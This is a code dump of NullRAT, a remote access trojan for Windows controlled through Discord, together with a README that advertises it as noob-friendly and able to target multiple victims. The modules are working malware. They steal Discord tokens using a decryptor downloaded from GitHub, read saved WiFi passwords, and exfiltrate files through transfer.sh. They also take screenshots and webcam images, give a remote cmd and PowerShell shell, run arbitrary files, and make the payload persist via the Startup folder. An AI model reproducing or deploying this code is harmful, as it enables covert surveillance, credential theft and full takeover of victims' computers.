setup(bot: commands.Bot): 175 | bot.add_cog(DirectoryCommands(bot)) 176 | 177 | class Menu(discord.ui.View): 178 | def __init__(self, embeds): 179 | super().__init__(timeout=None) 180 | self.embeds = embeds 181 | self.embed_count = 0 182 | 183 | self.first_page.disabled = True 184 | self.prev_page.disabled = True 185 | 186 | for i, embed in enumerate(self.embeds): 187 | embed.set_footer(text=f"Page {i + 1} of {len(self.embeds)}") 188 | 189 | @discord.ui.button(label="<< First", style=discord.ButtonStyle.blurple) 190 | async def first_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction): 191 | self.embed_count = 0 192 | embed = self.embeds[self.embed_count] 193 | embed.set_footer(text=f"Page 1 of {len(self.embeds)}") 194 | 195 | self.first_page.disabled = True 196 | self.prev_page.disabled = True 197 | self.next_page.disabled = False 198 | self.last_page.disabled = False 199 | await interaction.response.edit_message(embed=embed, view=self) 200 | 201 | @discord.ui.button(label="< Previous", style=discord.ButtonStyle.secondary) 202 | async def prev_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction): 203 | self.embed_count -= 1 204 | embed = self.embeds[self.embed_count] 205 | 206 | self.next_page.disabled = False 207 | self.last_page.disabled = False 208 | if self.embed_count == 0: 209 | self.first_page.disabled = True 210 | self.prev_page.disabled = True 211 | await interaction.response.edit_message(embed=embed, view=self) 212 | 213 | @discord.ui.button(label="Next >", style=discord.ButtonStyle.secondary) 214 | async def next_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction): 215 | self.embed_count += 1 216 | embed = self.embeds[self.embed_count] 217 | 218 | self.first_page.disabled = False 219 | self.prev_page.disabled = False 220 | if self.embed_count == len(self.embeds) - 1: 221 | self.next_page.disabled = True 222 | self.last_page.disabled = True 223 | await interaction.response.edit_message(embed=embed, view=self) 224 | 225 | @discord.ui.button(label="Last >>", style=discord.ButtonStyle.blurple) 226 | async def last_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction): 227 | self.embed_count = len(self.embeds) - 1 228 | embed = self.embeds[self.embed_count] 229 | 230 | self.first_page.disabled = False 231 | self.prev_page.disabled = False 232 | self.next_page.disabled = True 233 | self.last_page.disabled = True 234 | await interaction.response.edit_message(embed=embed, view=self) -------------------------------------------------------------------------------- /NullRAT/modules/geolocate.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class Geolocate(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | self.ip_addr = self.bot.ip_addr 12 | 13 | @commands.slash_command( ) 14 | async def get_geolocation(self, ctx, victim): 15 | """Finds all geolocation information of victim 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | await ctx.response.defer() 23 | 24 | data = requests.get("http://ip-api.com/json/").json() 25 | if data["status"] != "success": 26 | return await ctx.send("```Unable to get Geolocation Info!```") 27 | 28 | embed = self.bot.genEmbed( 29 | "Geolocation Information\n(Powered by ip-api)", 30 | datetime.now(), 31 | f"[Google Maps link](https://www.google.com/maps/search/google+map++{data['lat']},{data['lon']})" 32 | ) 33 | 34 | embed.add_field( name="Country", value=f"{data['country']} ({data['countryCode']})" ) 35 | embed.add_field( name="City", value=data["city"] ) 36 | embed.add_field( name="Region", value=data["regionName"] ) 37 | embed.add_field( name="Zip code", value=data["zip"] ) 38 | embed.add_field( name="ISP", value=data["isp"] ) 39 | embed.add_field( name="Timezone", value=data["timezone"] ) 40 | 41 | await ctx.followup.send(embed=embed) 42 | 43 | def setup(bot: commands.Bot): 44 | bot.add_cog(Geolocate(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/getenv.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class GetEnvironment(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | 12 | @commands.slash_command( ) 13 | async def get_environment(self, ctx, victim: str, environment: str): 14 | """Finds the values of environment values 15 | 16 | Parameters 17 | ---------- 18 | victim: Identifier of the affected computer (found via /listvictims). 19 | environment: The variable of which the value is wanted 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | try: 23 | value = os.getenv(environment) 24 | except: 25 | return await ctx.response.send_message( 26 | embed=self.bot.genEmbed( 27 | "Invalid environment variable!", 28 | datetime.now() 29 | ) 30 | ) 31 | 32 | if value is None: 33 | return await ctx.response.send_message( 34 | embed=self.bot.genEmbed( 35 | "Variable's value is empty!", 36 | datetime.now() 37 | ) 38 | ) 39 | 40 | if value == "": 41 | return await ctx.response.send_message( 42 | embed=self.bot.genEmbed( 43 | "Variable's value is empty!", 44 | datetime.now() 45 | ) 46 | ) 47 | 48 | if len(value) >= 1023: 49 | return await ctx.response.send_message(f"The value for {environment} is:\n```{value}```") 50 | 51 | await ctx.response.send_message( 52 | embed = self.bot.genEmbed( 53 | f"Found environment variable", 54 | datetime.now() 55 | ).add_field( 56 | name="Value for "+environment+" is:", 57 | value="```"+value+"```" 58 | ) 59 | ) 60 | 61 | def setup(bot: commands.Bot): 62 | bot.add_cog(GetEnvironment(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/hideFile.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class HideFile(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | self.ip_addr = self.bot.ip_addr 12 | 13 | @commands.slash_command( ) 14 | async def hidefile(self, ctx, victim, file): 15 | """Hide any file on victim's computer 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | file: File path of the file to be hidden. 21 | """ 22 | if str(victim) == str(self.bot.identifier): 23 | if '"' in file: 24 | file = file.replace('"','') 25 | 26 | output = os.popen("attrib +h " + '"' + file + '"').read() 27 | 28 | if "not" in output: 29 | return await ctx.response.send_message( 30 | embed = self.bot.genEmbed( 31 | "Unable to hide file!", 32 | datetime.now(), 33 | "Ensure the file path is correct and try again" 34 | ) 35 | ) 36 | 37 | await ctx.response.send_message( 38 | embed = self.bot.genEmbed( 39 | "File hidden successfully!", 40 | datetime.now(), 41 | "Path:\n```"+file+"```" 42 | ) 43 | ) 44 | 45 | def setup(bot: commands.Bot): 46 | bot.add_cog(HideFile(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/rawtokens.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | from base64 import decodebytes 5 | 6 | import os, requests 7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 8 | 9 | class RawTokens(commands.Cog): 10 | def __init__(self, bot: commands.Bot): 11 | self.bot = bot 12 | 13 | @commands.slash_command( ) 14 | async def raw_tokens(self, ctx, victim): 15 | """Sends all Discord Tokens unchecked 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | await ctx.response.defer() 23 | 24 | try: 25 | tkr = bytes( 26 | requests.get( 27 | "https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken" 28 | ).text, 29 | "utf-8" 30 | ) 31 | except Exception as e: 32 | return await ctx.followup.send( 33 | "Unable to download decryptor!\n\n"+e 34 | ) 35 | 36 | os.chdir(nr_working) 37 | with open("tkr.exe", "wb") as fh: fh.write(decodebytes(tkr)) 38 | 39 | changes = { 40 | '[': '', 41 | ']': '', 42 | ',': '', 43 | "'": '', 44 | '"': '', 45 | ' ': '\n' 46 | } 47 | 48 | discordTkz = str(os.popen("tkr.exe").read()).strip('][').split(', ') 49 | webTkz = list(dict.fromkeys(self.bot.find_token())) 50 | 51 | for k, v in changes.items(): 52 | discordTkz = str(discordTkz).replace(k, v) 53 | webTkz = str(webTkz).replace(k, v) 54 | 55 | finalTks = str(discordTkz + "\n" + webTkz) 56 | 57 | await ctx.followup.send( 58 | embed = self.bot.genEmbed( 59 | "Decrypted tokens", 60 | datetime.now(), 61 | f"```" + finalTks + "```" 62 | ) 63 | ) 64 | 65 | os.remove(nr_working + "\\tkr.exe") 66 | os.chdir(self.bot.original_dir) 67 | 68 | def setup(bot: commands.Bot): 69 | bot.add_cog(RawTokens(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/receivefiles.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class ReceiveFiles(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | self.ip_addr = self.bot.ip_addr 12 | 13 | @commands.slash_command( ) 14 | async def receivefiles(self, ctx, victim, file_path): 15 | """Receives file from victim's PC. 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | file_path: Path of the file for receiving. 21 | """ 22 | if str(victim) == str(self.bot.identifier): 23 | await ctx.response.defer() 24 | 25 | if '"' in file_path: 26 | file_path = file_path.replace('"','') 27 | try: 28 | f = open(file_path, "rb") 29 | except: 30 | return await ctx.followup.send( 31 | embed=self.bot.genEmbed( 32 | "File was not found!", 33 | datetime.now(), 34 | "Please specify a different path and try again" 35 | ) 36 | ) 37 | 38 | if os.path.getsize(file_path) < 8388608: 39 | return await ctx.followup.send( 40 | embed = self.bot.genEmbed( 41 | "Received file from victim", 42 | datetime.now() 43 | ), 44 | file = discord.File( 45 | file_path 46 | ) 47 | ) 48 | 49 | file = {'{}'.format(file_path): f} 50 | response = requests.post('https://transfer.sh/', files=file) 51 | download_link = response.content.decode('utf-8') 52 | deletion_token = response.headers.get("X-Url-Delete") 53 | 54 | deletion_token = deletion_token.replace(download_link.rstrip()+'/','') 55 | 56 | await ctx.followup.send( 57 | embed=self.bot.genEmbed( 58 | "Received file from victim", 59 | datetime.now(), 60 | "Link:\n" + download_link + "\nDeletion token:\n" + deletion_token 61 | ) 62 | ) 63 | 64 | def setup(bot: commands.Bot): 65 | bot.add_cog(ReceiveFiles(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/runfile.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests, subprocess 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class RunFile(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | 12 | @commands.slash_command( ) 13 | async def runfile(self, ctx, victim, file_path): 14 | """Execute a file in victim's PC 15 | 16 | Parameters 17 | ---------- 18 | victim: Identifier of the affected computer (found via /listvictims). 19 | file_path: Path of the file for executing. 20 | """ 21 | 22 | if str(victim) == str(self.bot.identifier): 23 | 24 | if os.path.isfile(file_path): 25 | 26 | output = subprocess.Popen( 27 | file_path, 28 | cwd = nr_working 29 | ) 30 | 31 | return await ctx.response.send_message( 32 | embed = self.bot.genEmbed( 33 | "File has been started!", 34 | datetime.now(), 35 | "You gotta trust me on that one" 36 | ) 37 | ) 38 | 39 | else: 40 | 41 | return await ctx.response.send_message( 42 | embed = self.bot.genEmbed( 43 | "Invalid file", 44 | datetime.now() 45 | ) 46 | ) 47 | 48 | def setup(bot: commands.Bot): 49 | bot.add_cog(RunFile(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/screenshot.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | from io import BytesIO 5 | 6 | import os, requests, mss 7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 8 | 9 | class GetScreenshot(commands.Cog): 10 | def __init__(self, bot: commands.Bot): 11 | self.bot = bot 12 | 13 | @commands.slash_command( ) 14 | async def get_screenshot(self, ctx, victim): 15 | """Sends screenshot of entire monitor 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | await ctx.response.defer() 23 | 24 | with mss.mss() as sct: 25 | img = sct.grab( sct.monitors[1] ) 26 | 27 | png = mss.tools.to_png( 28 | img.rgb, 29 | img.size 30 | ) 31 | 32 | await ctx.followup.send( 33 | embed=self.bot.genEmbed( 34 | "Screenshot of victim's PC:", 35 | datetime.now() 36 | ), 37 | file = discord.File( 38 | BytesIO(png), 39 | filename='Screenshot.png' 40 | ) 41 | ) 42 | 43 | def setup(bot: commands.Bot): 44 | bot.add_cog(GetScreenshot(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/sendfiles.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class SendFiles(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | 12 | @commands.slash_command( ) 13 | async def sendfiles(self, ctx, victim, url, file_name, file_path=nr_working): 14 | """Send file to victim's PC 15 | 16 | Parameters 17 | ---------- 18 | victim: Identifier of the affected computer (found via /listvictims). 19 | url: Direct link to the file for sending 20 | file_name: Name of the file after sending to PC 21 | file_path: Path to which the file should be saved 22 | """ 23 | if str(victim) == str(self.bot.identifier): 24 | await ctx.response.defer() 25 | 26 | if '"' in file_path: 27 | file_path = file_path.replace('"','') 28 | try: 29 | os.chdir(file_path) 30 | except: 31 | return await ctx.followup.send("Invalid directory!") 32 | 33 | try: 34 | r = requests.get(url, allow_redirects=True) 35 | except: 36 | return await ctx.followup.send("Invalid URL!") 37 | 38 | with open(file_name, "wb") as f: 39 | f.write(r.content) 40 | 41 | await ctx.followup.send( 42 | embed=self.bot.genEmbed( 43 | "File successfully sent to PC!", 44 | datetime.now(), 45 | "File path: " + file_path 46 | ) 47 | ) 48 | 49 | def setup(bot: commands.Bot): 50 | bot.add_cog(SendFiles(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/shell.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | from io import BytesIO 5 | 6 | import os, requests, subprocess, time 7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 8 | 9 | class Shell(commands.Cog): 10 | def __init__(self, bot: commands.Bot): 11 | self.bot = bot 12 | 13 | @commands.slash_command( ) 14 | async def cmd(self, ctx, victim, command): 15 | """Executes command prompt commands 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | command: The cmd command to be executed 21 | """ 22 | if str(victim) == str(self.bot.identifier): 23 | await ctx.response.defer() 24 | 25 | output = subprocess.run( 26 | command, 27 | shell=True, 28 | stdin=subprocess.PIPE, 29 | stderr=subprocess.PIPE, 30 | stdout=subprocess.PIPE, 31 | ).stdout.decode('utf-8') 32 | 33 | if len(output) > 4095: 34 | output_bytes = BytesIO( 35 | bytes( 36 | output, 'utf-8' 37 | ) 38 | ) 39 | return await ctx.followup.send( 40 | file = discord.File( 41 | output_bytes, filename = "output.txt" 42 | ) 43 | ) 44 | 45 | embed = self.bot.genEmbed( 46 | f"Output for `{command}`:", 47 | datetime.now(), 48 | f"```{output}```" 49 | ) 50 | await ctx.followup.send(embed=embed) 51 | 52 | @commands.slash_command( ) 53 | async def powershell(self, ctx, victim, command): 54 | """[EXPERIMENTAL] Executes powershell commands 55 | 56 | Parameters 57 | ---------- 58 | victim: Identifier of the affected computer (found via /listvictims). 59 | command: The powershell command to be executed 60 | """ 61 | if str(victim) == str(self.bot.identifier): 62 | await ctx.response.defer() 63 | 64 | output = subprocess.run( 65 | "powershell.exe "+command, 66 | shell=True, 67 | stdin=subprocess.PIPE, 68 | stderr=subprocess.PIPE, 69 | stdout=subprocess.PIPE, 70 | ).stdout.decode('utf-8') 71 | 72 | if len(output) > 4095: 73 | output_bytes = BytesIO( 74 | bytes( 75 | output, 'utf-8' 76 | ) 77 | ) 78 | return await ctx.followup.send( 79 | file = discord.File( 80 | output_bytes, filename = "output.txt" 81 | ) 82 | ) 83 | 84 | embed = self.bot.genEmbed( 85 | f"Output for `{command}`:", 86 | datetime.now(), 87 | f"```{output}```" 88 | ) 89 | await ctx.followup.send(embed=embed) 90 | 91 | 92 | def setup(bot: commands.Bot): 93 | bot.add_cog(Shell(bot)) 94 | -------------------------------------------------------------------------------- /NullRAT/modules/startup.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | from sys import executable 5 | 6 | import os, requests, subprocess 7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 8 | 9 | class Startup(commands.Cog): 10 | def __init__(self, bot: commands.Bot): 11 | self.bot = bot 12 | 13 | @commands.slash_command() 14 | async def startup(self, ctx, victim): 15 | """Add NullRAT to startup directory 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | msg = "```\n" 23 | 24 | await ctx.response.send_message( 25 | embed = discord.Embed( 26 | title = "Last known RAT directory: \n" + self.bot.original_dir + "\n\nCurrent Directory: \n" + os.getcwd(), 27 | color = 0x000000 28 | ) 29 | ) 30 | 31 | os.chdir(self.bot.original_dir) 32 | 33 | await ctx.channel.send( 34 | embed = discord.Embed( 35 | title = "Trying to copy payload into startup directory...", 36 | color = 0x000000 37 | ) 38 | ) 39 | 40 | subprocess.run( 41 | f'copy "{executable}" "{os.getenv("appdata")}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"', 42 | shell=True, 43 | stdout=subprocess.PIPE, 44 | stderr=subprocess.PIPE, 45 | stdin=subprocess.PIPE 46 | ) 47 | 48 | os.chdir(os.getenv("appdata") + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") 49 | 50 | for value in os.listdir(): 51 | msg += f'{value}\n' 52 | 53 | msg += "```" 54 | await ctx.channel.send( 55 | embed=self.bot.genEmbed( 56 | "If you see the program here, you're good to go: ", 57 | datetime.now() 58 | ) 59 | ) 60 | 61 | await ctx.channel.send(msg) 62 | os.chdir(self.bot.original_dir) 63 | 64 | def setup(bot: commands.Bot): 65 | bot.add_cog(Startup(bot)) 66 | -------------------------------------------------------------------------------- /NullRAT/modules/systeminfo.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | from io import BytesIO 5 | 6 | import os, requests, subprocess 7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 8 | 9 | class SytemInfo(commands.Cog): 10 | def __init__(self, bot: commands.Bot): 11 | self.bot = bot 12 | 13 | @commands.slash_command( ) 14 | async def get_systeminfo(self, ctx, victim): 15 | """Sends General System Information 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | await ctx.response.defer() 23 | 24 | output = BytesIO( 25 | bytes( 26 | os.popen("SYSTEMINFO").read(), 27 | 'utf-8' 28 | ) 29 | ) 30 | 31 | await ctx.followup.send( 32 | embed=self.bot.genEmbed( 33 | "System Information:", 34 | datetime.now() 35 | ), 36 | file=discord.File( 37 | output, 38 | filename="systeminfo.txt" 39 | ), 40 | ) 41 | 42 | def setup(bot: commands.Bot): 43 | bot.add_cog(SytemInfo(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/tasklist.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | from io import BytesIO 5 | 6 | import os, requests 7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 8 | 9 | class TaskList(commands.Cog): 10 | def __init__(self, bot: commands.Bot): 11 | self.bot = bot 12 | 13 | @commands.slash_command( ) 14 | async def list_runningtasks(self, ctx, victim): 15 | """Lists all running tasks in the PC 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | 22 | if str(victim) == str(self.bot.identifier): 23 | await ctx.response.defer() 24 | 25 | list = os.popen('tasklist').read() # I swear I'll make it better later 26 | 27 | if len(list) > 1998: 28 | return await ctx.followup.send( 29 | file=discord.File( 30 | BytesIO(bytes(list, 'utf-8')), 31 | filename = "tasklist.txt" 32 | ) 33 | ) 34 | else: 35 | return await ctx.followup.send( 36 | f"```{list}```" 37 | ) 38 | 39 | @commands.slash_command( ) 40 | async def list_runningstore(self, ctx, victim): 41 | """Lists all Microsoft Store apps running on the PC 42 | 43 | Parameters 44 | ---------- 45 | victim: Identifier of the affected computer (found via /listvictims). 46 | """ 47 | 48 | if str(victim) == str(self.bot.identifier): 49 | await ctx.response.defer() 50 | 51 | list = os.popen('tasklist /APPS').read() # I SWEAR... 52 | 53 | if len(list) > 1998: 54 | return await ctx.followup.send( 55 | file=discord.File( 56 | BytesIO(bytes(list, 'utf-8')), 57 | filename = "storelist.txt" 58 | ) 59 | ) 60 | else: 61 | return await ctx.followup.send( 62 | f"```{list}```" 63 | ) 64 | 65 | @commands.slash_command( ) 66 | async def kill_runningtasks(self, ctx, victim, task): 67 | """Kills a running task on this PC. [NOTE: ADMIN TASK'S CANT BE KILLED] 68 | 69 | Parameters 70 | ---------- 71 | victim: Identifier of the affected computer (found via /listvictims). 72 | task: Task to kill ( give real name + extension {ex: mspaint.exe} ) 73 | """ 74 | 75 | if str(victim) == str(self.bot.identifier): 76 | await ctx.response.defer() 77 | 78 | list = os.popen('taskkill /f /t /im ' + task).read() # I SWEAR... 79 | 80 | if len(list) <= 1: 81 | return await ctx.followup.send( 82 | embed = self.bot.genEmbed( 83 | "Unable to find process!", 84 | datetime.now() 85 | ) 86 | ) 87 | if len(list) > 1998: 88 | return await ctx.followup.send( 89 | file=discord.File( 90 | BytesIO(bytes(list, 'utf-8')), 91 | filename = "storelist.txt" 92 | ) 93 | ) 94 | else: 95 | return await ctx.followup.send( 96 | f"```{list}```" 97 | ) 98 | def setup(bot: commands.Bot): 99 | bot.add_cog(TaskList(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/unhideFile.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class unHideFile(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | self.ip_addr = self.bot.ip_addr 12 | 13 | @commands.slash_command( ) 14 | async def unhidefile(self, ctx, victim, file): 15 | """Unhide hidden file on victim's computer 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | file: File path of the file to be unhidden. 21 | """ 22 | if str(victim) == str(self.bot.identifier): 23 | 24 | if '"' in file: 25 | file = file.replace('"','') 26 | 27 | output = os.popen("attrib -h " + '"' + file + '"').read() 28 | 29 | if "not" in output: 30 | return await ctx.response.send_message( 31 | embed = self.bot.genEmbed( 32 | "Unable to show file!", 33 | datetime.now(), 34 | "Ensure the file path is correct and try again" 35 | ) 36 | ) 37 | 38 | await ctx.response.send_message( 39 | embed = self.bot.genEmbed( 40 | "File unhidden successfully!", 41 | datetime.now(), 42 | "Path:\n```"+file+"```" 43 | ) 44 | ) 45 | 46 | def setup(bot: commands.Bot): 47 | bot.add_cog(unHideFile(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/webcam.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | from base64 import decodebytes 5 | 6 | import os, requests, subprocess, time 7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 8 | 9 | class GetWebcam(commands.Cog): 10 | def __init__(self, bot: commands.Bot): 11 | self.bot = bot 12 | 13 | @commands.slash_command( ) 14 | async def get_webcam(self, ctx, victim): 15 | """Capture image from webcam 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | await ctx.response.defer() 23 | 24 | webcam = bytes( 25 | requests.get( 26 | "https://raw.githubusercontent.com/NullCode13-Misc/CommandCam/master/CommandCam_binary_base64" 27 | ).text, "utf-8" 28 | ) 29 | 30 | os.chdir(nr_working) 31 | with open("cc.exe", "wb") as fh: 32 | fh.write(decodebytes(webcam)) 33 | 34 | subprocess.run( 35 | "cc.exe & ren image.bmp image.png", 36 | shell=True, 37 | stdout=subprocess.PIPE, 38 | stderr=subprocess.PIPE, 39 | stdin=subprocess.PIPE 40 | ) 41 | 42 | try: 43 | await ctx.followup.send( 44 | embed=self.bot.genEmbed( 45 | "Image taken from webcam:", 46 | datetime.now() 47 | ), 48 | file=discord.File( 49 | nr_working + "\\image.png" 50 | ) 51 | ) 52 | except FileNotFoundError: 53 | os.remove(nr_working + "\\cc.exe") 54 | return await ctx.followup.send("No webcam!") 55 | 56 | time.sleep(2) 57 | os.remove(nr_working + "\\image.png") 58 | os.remove(nr_working + "\\cc.exe") 59 | os.chdir(self.bot.original_dir) 60 | 61 | def setup(bot: commands.Bot): 62 | bot.add_cog(GetWebcam(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/wifiList.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, re, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class WifiList(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | self.ip_addr = self.bot.ip_addr 12 | 13 | @commands.slash_command( ) 14 | async def wifilist(self, ctx, victim): 15 | """Lists all wifi networks 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | ssids = [] 23 | msg = "" 24 | 25 | output = os.popen("netsh wlan show profiles").read() 26 | profiles = re.findall(r"All User Profile\s(.*)", output) 27 | for profile in profiles: 28 | ssid = profile.strip().strip(":").strip() 29 | ssids.append(ssid) 30 | 31 | for i, ssid in zip(range(1, len(ssids)+1), ssids): 32 | msg += f"{i}) {ssid}\n" 33 | 34 | if len(msg) >= 4000: 35 | return await ctx.response.send_message( 36 | "All saved wifi networks:```" + msg + "```" 37 | ) 38 | 39 | await ctx.response.send_message( 40 | embed=self.bot.genEmbed( 41 | "All saved wifi networks:", 42 | datetime.now(), msg 43 | ) 44 | ) 45 | 46 | def setup(bot: commands.Bot): 47 | bot.add_cog(WifiList(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/wifiPass.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, re, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class WifiPass(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | self.ip_addr = self.bot.ip_addr 12 | 13 | @commands.slash_command( ) 14 | async def wifipass(self, ctx, victim, ssid): 15 | """Lists specified wifi password 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | ssid: The name of the WIFI 21 | """ 22 | if str(victim) == str(self.bot.identifier): 23 | ssid_details = os.popen(f"""netsh wlan show profile "{ssid}" key=clear""").read() 24 | ciphers = re.findall(r"Cipher\s(.*)", ssid_details) 25 | ciphers = "/".join([c.strip().strip(":").strip() for c in ciphers]) 26 | key = re.findall(r"Key Content\s(.*)", ssid_details) 27 | try: 28 | key = key[0].strip().strip(":").strip() 29 | except IndexError: 30 | key = "None" 31 | 32 | await ctx.response.send_message( 33 | embed = self.bot.genEmbed( 34 | "Wifi password for " + ssid + ":", 35 | datetime.now(), key 36 | ) 37 | ) 38 | 39 | def setup(bot: commands.Bot): 40 | bot.add_cog(WifiPass(bot)) -------------------------------------------------------------------------------- /NullRAT/upx/upx.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NullCode1337/NullRAT/de9796db2a58f0984aec96e33279c2b19fd67424/NullRAT/upx/upx.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | --- 2 | ![NullRAT](https://user-images.githubusercontent.com/70959549/150108231-0c8a8b30-a3cf-4a94-8712-2277cd833731.png) 3 | 4 |

The next-generation of Discord RATs

5 |
Please read the entire README before using the RAT
6 | 7 | --- 8 | 9 | 10 |
11 | 12 | 13 | > # Features: 14 |

NullRAT Features

15 | 16 | ```diff 17 | + Always maintained 18 | 19 | + Designed to be very noob friendly with intuitive features: 20 | +- Controlled via slash commands 21 | +- User friendly interface 22 | +- Uses pagination and embed buttons, along with other neat features 23 | 24 | + Supports targeting multiple victims regardless of who they are 25 | 26 | + Created with small size and anonymity in mind! (6.70MB payload) 27 | ``` 28 | 29 |

NullRAT Payload Features

